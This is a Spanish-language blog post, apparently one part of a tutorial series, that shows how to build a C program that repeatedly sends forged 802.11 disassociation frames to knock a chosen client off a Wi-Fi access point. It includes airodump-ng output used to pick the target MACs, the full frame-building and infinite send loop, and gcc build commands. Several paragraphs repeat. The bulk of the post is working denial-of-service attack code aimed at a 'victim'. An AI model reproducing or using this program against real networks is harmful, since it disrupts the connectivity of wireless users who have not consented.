Posted by Star | Posted in | Posted on 22:14
Para este ejemplo usaremos airodump con el objeto de fijar la red, el punto de acceso y el/los clientes asociados.
Usaremos airodump y así fijar nuestro objetivo, recolectar la información necesaria y luego preparar nuestro script con los parámetros adecuados.
Supongamos que lanzamos airodump mas o menos así
Usaremos airodump y así fijar nuestro objetivo, recolectar la información necesaria y luego preparar nuestro script con los parámetros adecuados.
Supongamos que lanzamos airodump mas o menos así
- Código:
bt src # airodump-ng -w test eth1 -c1 -d 00:16:B6:41:03:5D CH 1 ][ Elapsed: 0 s ][ 2009-07-14 09:47 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:16:B6:41:03:5D 78 0 16 2 0 1 48 WEP WEP TallerWIFI BSSID STATION PWR Lost Packets Probes 00:16:B6:41:03:5D 00:17:9A:C3:D6:B9 75 0 2
Allí vemos las macs del punto de acceso (BSSID) y de la víctima (STATION) que luego tendremos que pasarlas a nuestro programa, que le he llamdo dos01.c
En este ejemplo, necesitaremos una función nueva que nos permita lanzar el/los paquetes a la red… esta es: send_packet
En este ejemplo, necesitaremos una función nueva que nos permita lanzar el/los paquetes a la red… esta es: send_packet
int send_packet(void *buf, size_t count) // envio de paquetes WiFi
{
struct wif *wi = _wi_out;
if (wi_write(wi, buf, count, NULL) == -1) {
switch (errno) {
case EAGAIN:
case ENOBUFS:
usleep(10000);
return 0;
}
perror("wi_write()");
return -1;
}
return 0;
}
Y también la función main cambia con respecto al anterior, esta es:
int main( int argc, char *argv[] ) // inicio del programa
{
int z;
//Comprueba el paso de parámetros
if( argc != 2 ) {
printf("\nUso: dos01 interface\n\nEjemplo: dos01 wlan0\n\n");
exit( 0 );
}
/* Abrir Interface wifi para enviar/recibir tráfico */
opt.iface_out = argv[1];
_wi_out = wi_open(opt.iface_out);
if (!_wi_out)
return 1;
dev.fd_out = wi_fd(_wi_out);
_wi_in = _wi_out;
dev.fd_in = dev.fd_out;
dev.arptype_in = dev.arptype_out;
wi_get_mac(_wi_in, dev.mac_in);
wi_get_mac(_wi_out, dev.mac_out);
/* drop privileges */
setuid( getuid() );
unsigned int mac_ap[6], mac_cl[6]; //mac_ap es la mac del AP y mac_cli la mac de la víctima
unsigned char DISO[26];
// Solicitamos la entrada de MAC's por pantalla
printf ("\nEscribe la MAC del Punto de Acceso --------> ");
scanf ("%02X:%02X:%02X:%02X:%02X:%02X", &mac_ap[0],&mac_ap[1],&mac_ap[2],&mac_ap[3],&mac_ap[4],&mac_ap[5]);
printf ("\nEscribe la MAC de la Estación a Disociar --> ");
scanf ("%02X:%02X:%02X:%02X:%02X:%02X", &mac_cl[0],&mac_cl[1],&mac_cl[2],&mac_cl[3],&mac_cl[4],&mac_cl[5]);
/***************************************/
/* Construimos la trama de Disociación */
/***************************************/
// FRAME CONTROL bytes 0 y 1
DISO[0]=0xA0; // Esto es Disociación!!! también podemos usar 0xC0 que sería desautenticación!!!
DISO[1]=0x00;
// DURACION bytes 2 y 3 Valor al azar, para el ejemplo 023C
DISO[2]=0X3c;
DISO[3]=0X02;
// MAC DESTINO -- LA DE LA VICTIMA A DISOCIAR de la trama (DISO+4, DISO+5... hasta DISO+9)
for (z=0;z<6;z++) DISO[4+z]=mac_cl[z];
// MAC ORIGEN -- DEL PUNTO DE ACCESO QUE ENVIA LA DISOCIACION (DISO+10, DISO+11.... hasta DISO+15)
for (z=0;z<6;z++) DISO[10+z]=mac_ap[z];
// MAC DEL BSSID -- LA DEL SISTEMA DE DISTRIBUCIÓN que es el Punto de Acceso (DISO+16, DISO+17... hasta DISO+21)
for (z=0;z<6;z++) DISO[16+z]=mac_ap[z];
// Número de Fragmento y número de secuencia bytes 22 y 23
DISO[22]=0x00;
DISO[23]=0x00;
// Razón y Estado de la disociación bytes 24 y 25
DISO[24]=0x04; // La razón 4 significa: El tiempo de inactividad expiró y la estación fue disociada.
DISO[25]=0x00; // Estado 0 significa: satisfactorio
// Mostramos en pantalla la trama a enviar
printf ("\nTrama a enviar"
"\n***** * ******\n");
dump_packet(DISO,26); //Volcamos el paquete a enviar por pantalla para ver su encapsulado
printf("\nPulsa Ctrl+C para cancelar el ataque\n\n");
z=1;
while(1)
{
send_packet(DISO,26); usleep(20000);
printf ("\rEnviando trama número %i \r",z);
fflush( stdout );
z++;
}
exit(0);
}
Al igual que antes, hay muy poco que explicar ya que los comentarios en el código hablan por sí mismos… observa cómo se construye la trama “mal intencionada” y que se almacena en un array que he llamado DISO[]
Luego, lo único que hay que hacer es enviar esos datos almacenados mediante la función send_packet que hablábamos.
Para compilarlo
Luego, lo único que hay que hacer es enviar esos datos almacenados mediante la función send_packet que hablábamos.
Para compilarlo
- Código:
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 -Iinclude -c -o dos01.o dos01.c gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 -Iinclude dos01.o common.o crypto.o -o dos01 -Losdep -losdep -lssl -lcrypto
Comments (0)
Publicar un comentario